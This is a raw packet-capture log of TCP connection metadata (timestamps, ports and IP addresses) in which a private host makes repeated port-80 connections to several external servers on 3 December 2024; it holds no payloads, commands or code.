Dec 3, 2024 14:55:03.557157040 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557342052 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.557446003 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557518005 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557555914 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557591915 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557627916 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557663918 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557701111 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557734966 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557775021 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557784081 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.557811975 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557848930 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557883978 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557919025 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557954073 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.557971954 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.557990074 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.558026075 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.558062077 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.558115005 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.558152914 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.558312893 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.873239040 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873274088 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873300076 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873325109 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873349905 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873377085 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873440981 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.873545885 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.873572111 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873608112 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873635054 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873660088 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873684883 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873711109 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873737097 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873763084 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873788118 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873805046 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.873816013 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873842955 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873886108 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.873923063 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.873933077 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873939037 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873939991 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873941898 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873964071 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.873991013 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.874017000 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.874042034 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.874044895 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.874068022 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.874094963 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.874114990 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:03.874213934 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.874387026 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:03.875175953 CET	49815	80	192.168.11.20	45.197.47.177
Dec 3, 2024 14:55:04.190323114 CET	80	49815	45.197.47.177	192.168.11.20
Dec 3, 2024 14:55:11.944395065 CET	49816	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:55:12.288347960 CET	80	49816	172.96.191.39	192.168.11.20
Dec 3, 2024 14:55:12.288542986 CET	49816	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:55:12.290703058 CET	49816	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:55:12.634265900 CET	80	49816	172.96.191.39	192.168.11.20
Dec 3, 2024 14:55:12.634779930 CET	80	49816	172.96.191.39	192.168.11.20
Dec 3, 2024 14:55:12.634789944 CET	80	49816	172.96.191.39	192.168.11.20
Dec 3, 2024 14:55:12.635344982 CET	49816	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:55:12.635998964 CET	49816	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:55:12.979485035 CET	80	49816	172.96.191.39	192.168.11.20
Dec 3, 2024 14:55:17.653152943 CET	49817	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:17.839756012 CET	80	49817	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:17.839940071 CET	49817	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:17.843333006 CET	49817	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:18.029928923 CET	80	49817	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:18.049494982 CET	80	49817	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:18.049544096 CET	80	49817	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:18.049772978 CET	49817	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:19.353732109 CET	49817	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:20.369713068 CET	49818	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:20.556351900 CET	80	49818	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:20.556557894 CET	49818	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:20.559739113 CET	49818	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:20.746377945 CET	80	49818	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:20.759258032 CET	80	49818	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:20.759303093 CET	80	49818	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:20.759489059 CET	49818	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:22.071832895 CET	49818	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:23.087857962 CET	49819	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:23.274627924 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.274785042 CET	49819	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:23.278038025 CET	49819	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:23.278063059 CET	49819	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:23.278135061 CET	49819	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:23.464824915 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.464834929 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.464842081 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.465065956 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.465075016 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.465081930 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.465374947 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.500036001 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.500046015 CET	80	49819	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:23.500207901 CET	49819	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:24.789880037 CET	49819	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:25.805978060 CET	49820	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:25.992804050 CET	80	49820	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:25.993011951 CET	49820	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:25.995148897 CET	49820	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:26.181853056 CET	80	49820	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:26.190704107 CET	80	49820	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:26.190979004 CET	80	49820	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:26.191248894 CET	49820	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:26.191797972 CET	49820	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:55:26.378293991 CET	80	49820	217.160.0.183	192.168.11.20
Dec 3, 2024 14:55:31.195446014 CET	49821	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:31.407022953 CET	80	49821	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:31.407196045 CET	49821	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:31.410336018 CET	49821	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:31.622061014 CET	80	49821	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:31.622095108 CET	80	49821	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:33.929265976 CET	49822	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:34.141064882 CET	80	49822	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:34.141246080 CET	49822	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:34.144407988 CET	49822	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:34.356127024 CET	80	49822	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:34.356601954 CET	80	49822	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:36.662977934 CET	49823	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:36.874931097 CET	80	49823	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:36.875118017 CET	49823	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:36.878411055 CET	49823	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:36.878499985 CET	49823	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:37.091747046 CET	80	49823	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:37.091793060 CET	80	49823	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:37.091821909 CET	80	49823	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.396708012 CET	49824	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:39.608505011 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.608696938 CET	49824	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:39.610806942 CET	49824	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:39.822561026 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.822619915 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.822767019 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.823002100 CET	49824	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:39.823132038 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.823187113 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.823283911 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.823329926 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.823370934 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.823402882 CET	49824	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:39.823415041 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:39.823448896 CET	49824	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:39.823709965 CET	49824	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:39.824234962 CET	49824	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:55:40.035593033 CET	80	49824	84.32.84.32	192.168.11.20
Dec 3, 2024 14:55:44.833106041 CET	49825	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:45.000514030 CET	80	49825	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:45.000700951 CET	49825	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:45.003871918 CET	49825	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:45.171607018 CET	80	49825	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:45.176934958 CET	80	49825	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:45.176980972 CET	80	49825	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:45.177140951 CET	49825	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:46.519505024 CET	49825	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:47.535641909 CET	49826	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:47.702790022 CET	80	49826	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:47.702953100 CET	49826	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:47.706141949 CET	49826	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:47.872929096 CET	80	49826	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:47.878542900 CET	80	49826	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:47.878653049 CET	80	49826	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:47.878777981 CET	49826	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:49.222039938 CET	49826	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:50.238184929 CET	49827	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:50.406819105 CET	80	49827	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:50.406992912 CET	49827	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:50.410233021 CET	49827	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:50.410320044 CET	49827	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:50.580223083 CET	80	49827	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:50.580251932 CET	80	49827	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:50.586595058 CET	80	49827	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:50.586616039 CET	80	49827	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:50.586735010 CET	49827	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:51.924588919 CET	49827	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:52.940596104 CET	49828	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:53.107837915 CET	80	49828	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:53.108000040 CET	49828	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:53.110161066 CET	49828	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:53.277251959 CET	80	49828	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:53.283241034 CET	80	49828	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:53.283286095 CET	80	49828	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:53.283541918 CET	49828	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:53.284126043 CET	49828	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:55:53.451425076 CET	80	49828	209.74.79.42	192.168.11.20
Dec 3, 2024 14:55:58.298877001 CET	49829	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:55:58.436660051 CET	80	49829	208.91.197.27	192.168.11.20
Dec 3, 2024 14:55:58.436841011 CET	49829	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:55:58.440012932 CET	49829	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:55:58.577776909 CET	80	49829	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:00.970118046 CET	49830	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:01.108063936 CET	80	49830	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:01.108262062 CET	49830	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:01.111413956 CET	49830	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:01.249275923 CET	80	49830	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:03.641581059 CET	49831	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:03.779141903 CET	80	49831	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:03.779318094 CET	49831	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:03.782567978 CET	49831	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:03.782618046 CET	49831	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:03.920289993 CET	80	49831	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:06.314286947 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:06.451843023 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:06.452027082 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:06.454502106 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:06.598073959 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112541914 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112596035 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112642050 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112684011 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112705946 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.112725973 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112768888 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112812996 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112854004 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112895966 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.112962961 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.112973928 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.113007069 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.113020897 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.113320112 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.256761074 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.256782055 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.256983042 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257003069 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257018089 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257031918 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257035017 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.257046938 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257061958 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257076025 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257090092 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257105112 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257251024 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257271051 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257280111 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.257280111 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.257286072 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257302046 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257378101 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.257524967 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.257524967 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.257559061 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257579088 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257594109 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257608891 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257623911 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.257790089 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.257790089 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.400515079 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.400635004 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.400854111 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.400892019 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.400907040 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.400919914 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:07.401165962 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.401884079 CET	49832	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:56:07.539469957 CET	80	49832	208.91.197.27	192.168.11.20
Dec 3, 2024 14:56:12.405169964 CET	49833	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:12.597692966 CET	80	49833	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:12.597915888 CET	49833	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:12.601114035 CET	49833	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:12.793585062 CET	80	49833	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:12.795176983 CET	80	49833	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:12.795428038 CET	49833	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:14.107147932 CET	49833	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:15.123305082 CET	49834	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:15.323550940 CET	80	49834	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:15.323762894 CET	49834	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:15.326878071 CET	49834	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:15.526864052 CET	80	49834	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:15.527430058 CET	80	49834	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:15.527446032 CET	80	49834	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:15.527590990 CET	49834	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:16.840970993 CET	49834	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:17.857502937 CET	49835	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:18.057869911 CET	80	49835	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:18.058057070 CET	49835	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:18.061311960 CET	49835	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:18.061377048 CET	49835	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:18.261835098 CET	80	49835	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:18.261912107 CET	80	49835	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:18.262478113 CET	80	49835	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:18.262526035 CET	80	49835	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:18.262665987 CET	49835	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:19.574755907 CET	49835	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:20.590828896 CET	49836	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:20.783298969 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:20.783492088 CET	49836	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:20.785655975 CET	49836	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:20.978101969 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:20.978429079 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:20.978614092 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:20.978871107 CET	49836	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:20.978938103 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:20.978996038 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:20.979039907 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:20.979083061 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:20.979120016 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:20.979280949 CET	49836	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:20.979346037 CET	49836	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:20.979981899 CET	49836	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:56:21.172360897 CET	80	49836	89.31.143.90	192.168.11.20
Dec 3, 2024 14:56:25.995922089 CET	49837	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:26.372658014 CET	80	49837	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:26.372809887 CET	49837	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:26.376046896 CET	49837	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:26.752407074 CET	80	49837	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:26.752474070 CET	80	49837	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:26.752484083 CET	80	49837	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:26.752605915 CET	49837	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:27.885364056 CET	49837	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:28.901549101 CET	49838	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:29.229516029 CET	80	49838	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:29.229752064 CET	49838	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:29.232840061 CET	49838	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:29.915668964 CET	49838	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:30.246010065 CET	80	49838	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:30.246099949 CET	80	49838	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:30.246192932 CET	80	49838	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:30.246380091 CET	49838	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:30.744225979 CET	49838	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:31.760272026 CET	49839	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:32.124775887 CET	80	49839	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:32.125022888 CET	49839	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:32.128263950 CET	49839	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:32.128324032 CET	49839	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:56:32.490201950 CET	80	49839	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:32.490282059 CET	80	49839	8.136.96.106	192.168.11.20
Dec 3, 2024 14:56:32.490313053 CET	80	49839	8.136.96.106	192.168.11.20
